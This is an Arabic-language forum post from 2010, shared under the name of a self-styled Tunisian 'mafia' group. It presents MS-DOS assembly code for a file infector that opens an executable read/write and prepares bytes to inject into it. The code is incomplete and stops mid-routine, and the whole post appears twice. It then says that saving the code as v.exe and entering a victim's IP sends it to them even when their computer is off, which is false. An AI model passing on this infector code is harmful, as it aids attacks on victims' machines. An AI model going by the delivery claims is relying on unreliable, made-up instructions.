sarah-tn
11-15-2010, 06:46 PM
طريقة مطورة و مصممة من الاخ زومبي و هو الناطق الرسمي بالسم منظمة صائدي الفضائح المافيا التونسية
و هي كالاتالي :
افتح الكيبورد انسخ فيه هذه البرمجة
model small
.data
filename db "test.exe",0 ; program name
bytesnumber dw ? ; program size (number of bytes)
infectbytes db 0b4h,02h,0b2h,41h,0cdh,21h,0ebh ; bytes to infect
backbytes db ?
.code
start:
mov ax,@data
mov ds,ax
call infect
exit:
mov ah,4ch
int 21h
infect proc
;+-----------+
;| open file |
;+-----------+
mov ax,3d02h ; open file - read/write
lea dx,filename ; file to open
int 21h
jc exit ; if error exit
mov bx,ax ; bx:=file_handle
;+----------------------------------------------------+
;| move file pointer to program number of bytes buffer|
;+----------------------------------------------------+
mov ah,42h ; move file pointer
mov al,00h ; start from beginnig
xor cx,cx
xor dx,dx
mov dx,02h ; bytes to move
int 21h
jc exit ; if error exit
;+-----------------------------+
;| read program number of bytes|
;+-----------------------------+
mov ah,3fh ; read file
mov cx,02h ; bytes to read
lea dx,bytesnumber ; buffer to hold bytes
------------------------------------------------------------------------------------------------
ثم سجله بالسم v.exe
ثم افتح الشاشة السوداء(xdos)
حمل الملف و اكتب رقم الايبي و تضغط ok
انتهى الامر تم ارساله الى الضحية حتى لو كان حاسوبه مغلق
اتمنى تكون فهمتم الشرح يا اصدقاء عموما اي استفسار راسلوني و ساجيبكم باكثر دقة و شرح مفصل
شكرا لكم
و هي كالاتالي :
افتح الكيبورد انسخ فيه هذه البرمجة
model small
.data
filename db "test.exe",0 ; program name
bytesnumber dw ? ; program size (number of bytes)
infectbytes db 0b4h,02h,0b2h,41h,0cdh,21h,0ebh ; bytes to infect
backbytes db ?
.code
start:
mov ax,@data
mov ds,ax
call infect
exit:
mov ah,4ch
int 21h
infect proc
;+-----------+
;| open file |
;+-----------+
mov ax,3d02h ; open file - read/write
lea dx,filename ; file to open
int 21h
jc exit ; if error exit
mov bx,ax ; bx:=file_handle
;+----------------------------------------------------+
;| move file pointer to program number of bytes buffer|
;+----------------------------------------------------+
mov ah,42h ; move file pointer
mov al,00h ; start from beginnig
xor cx,cx
xor dx,dx
mov dx,02h ; bytes to move
int 21h
jc exit ; if error exit
;+-----------------------------+
;| read program number of bytes|
;+-----------------------------+
mov ah,3fh ; read file
mov cx,02h ; bytes to read
lea dx,bytesnumber ; buffer to hold bytes
------------------------------------------------------------------------------------------------
ثم سجله بالسم v.exe
ثم افتح الشاشة السوداء(xdos)
حمل الملف و اكتب رقم الايبي و تضغط ok
انتهى الامر تم ارساله الى الضحية حتى لو كان حاسوبه مغلق
اتمنى تكون فهمتم الشرح يا اصدقاء عموما اي استفسار راسلوني و ساجيبكم باكثر دقة و شرح مفصل
شكرا لكم